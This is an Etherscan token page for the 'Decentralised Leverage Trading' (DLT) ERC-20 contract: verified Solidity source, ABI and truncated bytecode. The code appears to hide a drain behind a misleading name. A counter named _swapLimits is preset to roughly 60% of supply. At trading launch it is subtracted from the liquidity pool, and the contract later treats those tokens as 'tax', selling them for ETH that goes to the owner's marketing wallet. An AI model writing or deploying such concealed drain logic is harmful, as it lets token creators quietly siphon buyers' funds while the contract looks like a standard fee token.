ETH Price: $3,250.05 (-0.27%)
Gas: 1 Gwei

Token

Decentralised Leverage Trading (DLT)
 

Overview

Max Total Supply

10,000,000 DLT

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
39,154.650959326 DLT

Value
$0.00
0xef7a993146f083def38b81b1aa8dea0d098c421c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dlt

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-21
*/

//SPDX-License-Identifier: MIT

/*
 https://t.me/DLT_exchange 
 https://twitter.com/dlt_exchange
 https://dltexchange.co
*/

pragma solidity ^0.8.20;


abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Dlt is IERC20, Auth {

    string private constant _symbol  = "DLT";
    string private constant _name    = "Decentralised Leverage Trading";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 10_000_000 * (10**_decimals);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private immutable WETH;
    
    address private LpOwner;
    address private _primaryLP; 
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;


    address payable private _marketingWallet = payable(0x5730aFA6F8DB7a11f6E73Bc8A2E75D9575307D31);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 3;
    uint8 private _buyTaxrate  = 3;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 99 / 100000;
    uint256 private _swapTrigger = 15 * (10**15);
    uint256 private _swapLimits = _swapMin * 60 * 100;

    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    modifier lockTaxSwap { 
        _inSwap = true; 
        _; 
        _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;
        WETH = _primarySwapRouter.WETH();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);  


        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;


    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); 
	}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; 
	}

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); 
	}

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        _balances[_primaryLP] -= _swapLimits;
        (_isLP[_primaryLP],) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(_isLP[_primaryLP], "Failed bootstrap");
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
        _tradingOpen = true;
    }

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; 
	}

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); 
	}

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
    }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 6, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }

    function swapMin() external view returns (uint256) { 
        return _swapMin; 
	}
    function swapMax() external view returns (uint256) { 
        return _swapMax; 
	}

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; 
	}
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; 
	}

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }
        return taxAmount;
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405260038054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911617905560078054610100600160b01b031916755730afa6f8db7a11f6e73bc8a2e75d9575307d31000017905560026008556009805461ffff19166103031781556200007690600a62000462565b62000085906298968062000479565b600b55620000966009600a62000462565b620000a5906298968062000479565b600c55620186a0620000ba6009600a62000462565b620000c9906298968062000479565b620000d690600a62000479565b620000e2919062000493565b600d55620186a0620000f76009600a62000462565b62000106906298968062000479565b6200011390606362000479565b6200011f919062000493565b600e5566354a6ba7a18000600f55600d546200013d90603c62000479565b6200014a90606462000479565b60105534801562000159575f80fd5b505f8054336001600160a01b03199182168117909255600480549091169091178155600354604080516315ab88c960e31b815290516001600160a01b039092169263ad5c46489282820192602092908290030181865afa158015620001c0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e69190620004b3565b6001600160a01b0316608052620002006009600a62000462565b6200020f906298968062000479565b335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526012602090815260408084208054600160ff1991821681179092553080875283872080548316841790556007805462010000908190048816895285892080548516861790557f3c6737805ae477fd0cfdda13dc5f99b32fcbfecb81e47f9e11e1b03813c08ec280548516861790558854881689526013909652848820805484168517905590875283872080548316841790555493909304909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f808d0d51f34e8e89d33da1e191cc837697e378778a68b481dbec480ddbd15a7a8054909216179055620004db565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a757815f19048211156200038b576200038b62000353565b808516156200039957918102915b93841c93908002906200036c565b509250929050565b5f82620003bf575060016200045c565b81620003cd57505f6200045c565b8160018114620003e65760028114620003f15762000411565b60019150506200045c565b60ff84111562000405576200040562000353565b50506001821b6200045c565b5060208310610133831016604e8410600b841016171562000436575081810a6200045c565b62000442838362000367565b805f190482111562000458576200045862000353565b0290505b92915050565b5f6200047260ff841683620003af565b9392505050565b80820281158282048414176200045c576200045c62000353565b5f82620004ae57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620004c4575f80fd5b81516001600160a01b038116811462000472575f80fd5b608051612104620005025f395f8181610e500152818161169c0152611aaa01526121045ff3fe608060405260043610610198575f3560e01c806375f0a874116100e7578063b3de9b5d11610087578063e537a83411610062578063e537a83414610514578063e8078d9414610533578063f2fde38b1461053b578063f8b45b051461055a575f80fd5b8063b3de9b5d146104a8578063c3f70b52146104bc578063dd62ed3e146104d0575f80fd5b806395d89b41116100c257806395d89b411461042b578063a5e992bb14610456578063a9059cbb1461046a578063aacebbe314610489575f80fd5b806375f0a874146103c45780638a8c523c146103fb5780638da5cb5b1461040f575f80fd5b806330449efd11610152578063470624021161012d57806347062402146103415780634fcd24461461035d57806370a082311461037c578063715018a6146103b0575f80fd5b806330449efd146102b0578063313ce5671461030f578063368f480014610322575f80fd5b806306fdde03146101a3578063095ea7b3146101fa57806318160ddd1461022957806318839bc31461024b57806323b872dd1461026c5780632b14ca561461028b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152601e81527f446563656e7472616c69736564204c657665726167652054726164696e67000060208201525b6040516101f19190611bb4565b60405180910390f35b348015610205575f80fd5b50610219610214366004611bfa565b61056e565b60405190151581526020016101f1565b348015610234575f80fd5b5061023d6105da565b6040519081526020016101f1565b348015610256575f80fd5b5061026a610265366004611c38565b6105f9565b005b348015610277575f80fd5b50610219610286366004611c7a565b6106d5565b348015610296575f80fd5b5060095460ff165b60405160ff90911681526020016101f1565b3480156102bb575f80fd5b506102f86102ca366004611cb8565b6001600160a01b03165f9081526012602090815260408083205460139092529091205460ff91821692911690565b6040805192151583529015156020830152016101f1565b34801561031a575f80fd5b50600961029e565b34801561032d575f80fd5b5061026a61033c366004611ce4565b610769565b34801561034c575f80fd5b50600954610100900460ff1661029e565b348015610368575f80fd5b5061026a610377366004611d25565b6108a7565b348015610387575f80fd5b5061023d610396366004611cb8565b6001600160a01b03165f9081526001602052604090205490565b3480156103bb575f80fd5b5061026a610942565b3480156103cf575f80fd5b506007546201000090046001600160a01b03165b6040516001600160a01b0390911681526020016101f1565b348015610406575f80fd5b5061026a6109af565b34801561041a575f80fd5b505f546001600160a01b03166103e3565b348015610436575f80fd5b5060408051808201909152600381526211131560ea1b60208201526101e4565b348015610461575f80fd5b50600e5461023d565b348015610475575f80fd5b50610219610484366004611bfa565b610a24565b348015610494575f80fd5b5061026a6104a3366004611cb8565b610a7f565b3480156104b3575f80fd5b50600d5461023d565b3480156104c7575f80fd5b50600b5461023d565b3480156104db575f80fd5b5061023d6104ea366004611d4d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561051f575f80fd5b5061026a61052e366004611d97565b610b69565b61026a610c76565b348015610546575f80fd5b5061026a610555366004611cb8565b610f0a565b348015610565575f80fd5b50600c5461023d565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c89086815260200190565b60405180910390a35060015b92915050565b5f6105e76009600a611eec565b6105f49062989680611efa565b905090565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611f11565b60405180910390fd5b80806106345750815b15610694576001600160a01b0383165f9081526006602052604090205460ff16156106945760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b6044820152606401610622565b6001600160a01b039092165f908152601260209081526040808320805494151560ff1995861617905560139091529020805492151592909116919091179055565b5f6106df84610f86565b61071e5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610622565b6001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610750908490611f48565b909155506107619050848484610fe9565b949350505050565b5f546001600160a01b031633146107925760405162461bcd60e51b815260040161062290611f11565b5f6103e861ffff84166107a76009600a611eec565b6107b49062989680611efa565b6107be9190611efa565b6107c89190611f5b565b6107d3906001611f7a565b9050600b548110156108145760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b6044820152606401610622565b600b8190555f6103e861ffff841661082e6009600a611eec565b61083b9062989680611efa565b6108459190611efa565b61084f9190611f5b565b61085a906001611f7a565b9050600c5481101561089f5760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b6044820152606401610622565b600c55505050565b5f546001600160a01b031633146108d05760405162461bcd60e51b815260040161062290611f11565b60066108dc8284611f8d565b60ff1611156109225760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610622565b6009805461ffff191661010060ff9485160260ff19161791909216179055565b5f546001600160a01b0316331461096b5760405162461bcd60e51b815260040161062290611f11565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146109d85760405162461bcd60e51b815260040161062290611f11565b60075460ff1615610a1a5760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610622565b610a22611403565b565b5f610a2e33610f86565b610a6d5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610622565b610a78338484610fe9565b9392505050565b5f546001600160a01b03163314610aa85760405162461bcd60e51b815260040161062290611f11565b6001600160a01b0381165f9081526006602052604090205460ff1615610b105760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c65740000000000000000006044820152606401610622565b6007805462010000600160b01b031916620100006001600160a01b03939093169283021790555f908152601260209081526040808320805460ff1990811660019081179092556013909352922080549091169091179055565b5f546001600160a01b03163314610b925760405162461bcd60e51b815260040161062290611f11565b63ffffffff808516908616610ba96009600a611eec565b610bb69062989680611efa565b610bc09190611efa565b610bca9190611f5b565b600d5563ffffffff808316908416610be46009600a611eec565b610bf19062989680611efa565b610bfb9190611efa565b610c059190611f5b565b600e55610c1f63ffffffff821666038d7ea4c68000611fa6565b66ffffffffffffff16600f55600d54600e541015610c6f5760405162461bcd60e51b815260206004820152600d60248201526c26b4b716a6b0bc1032b93937b960991b6044820152606401610622565b5050505050565b5f546001600160a01b03163314610c9f5760405162461bcd60e51b815260040161062290611f11565b6007805461ff0019166101001790556005546001600160a01b031615610cf45760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610622565b60075460ff1615610d365760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610622565b5f341180610d4357505f47115b610d785760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610622565b305f90815260016020526040902054610dbf5760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610622565b60035f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e339190611fd1565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec49190611fd1565b600580546001600160a01b0319166001600160a01b0392909216919091179055305f90815260016020526040902054610efd90476115bb565b6007805461ff0019169055565b5f546001600160a01b03163314610f335760405162461bcd60e51b815260040161062290611f11565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6007545f90819060ff1615610f9d575060016105d4565b6001600160a01b0383165f9081526012602052604090205460ff168015610fdb57506001600160a01b0383165f9081526013602052604090205460ff165b156105d45750600192915050565b5f6001600160a01b0384166110405760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610622565b60075460ff166110cb576001600160a01b0384165f9081526012602052604090205460ff16801561108857506001600160a01b0384165f9081526013602052604090205460ff165b6110cb5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610622565b600754610100900460ff161580156110fa57506001600160a01b0383165f9081526006602052604090205460ff165b801561110a575061110a8261165a565b1561111757611117611740565b600a544310611292576008544310801561114857506001600160a01b0384165f9081526006602052604090205460ff165b15611191576001600160a01b03831632146111915760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610622565b6008546111a090610258611f7a565b431080156111c557506001600160a01b0383165f9081526006602052604090205460ff165b80156111da57506001600160a01b0384163014155b1561129257435f9081526011602090815260408083206001600160a01b0387168452909152812080546001929061121590849060ff16611f8d565b82546101009290920a60ff818102199093169183160217909155435f9081526011602090815260408083206001600160a01b038916845290915290205460029116111590506112925760405162461bcd60e51b81526020600482015260096024820152684d455620626c6f636b60b81b6044820152606401610622565b6001600160a01b03841630148015906112b457506001600160a01b0383163014155b80156112cd57505f546001600160a01b03858116911614155b1561131a576112dd8484846117fd565b61131a5760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610622565b5f6113268585856118c0565b90505f6113338285611f48565b6001600160a01b0387165f9081526001602052604081208054929350869290919061135f908490611f48565b925050819055508160105f8282546113779190611f7a565b90915550506001600160a01b0385165f90815260016020526040812080548392906113a3908490611f7a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516113ef91815260200190565b60405180910390a350600195945050505050565b60646114116009600a611eec565b61141e9062989680611efa565b611429906002611efa565b6114339190611f5b565b600b5560646114446009600a611eec565b6114519062989680611efa565b61145c906002611efa565b6114669190611f5b565b600c556010546005546001600160a01b03165f9081526001602052604081208054909190611495908490611f48565b909155505060055460408051600481526024810182526020810180516001600160e01b031660016209351760e01b031917905290516001600160a01b03909216916114e09190611fec565b5f604051808303815f865af19150503d805f8114611519576040519150601f19603f3d011682016040523d82523d5f602084013e61151e565b606091505b5050600580546001600160a01b039081165f90815260066020526040808220805460ff1916951515959095179094559154168152205460ff166115965760405162461bcd60e51b815260206004820152601060248201526f04661696c656420626f6f7473747261760841b6044820152606401610622565b43600a8190556008546115a99190611f7a565b6008556007805460ff19166001179055565b6115c4826119aa565b6003546004805460405163f305d71960e01b81523092810192909252602482018590525f6044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611635573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c6f9190612007565b5f805f600f541115611737576005546001600160a01b039081165f818152600160205260408082205490516370a0823160e01b815260048101939093529290917f000000000000000000000000000000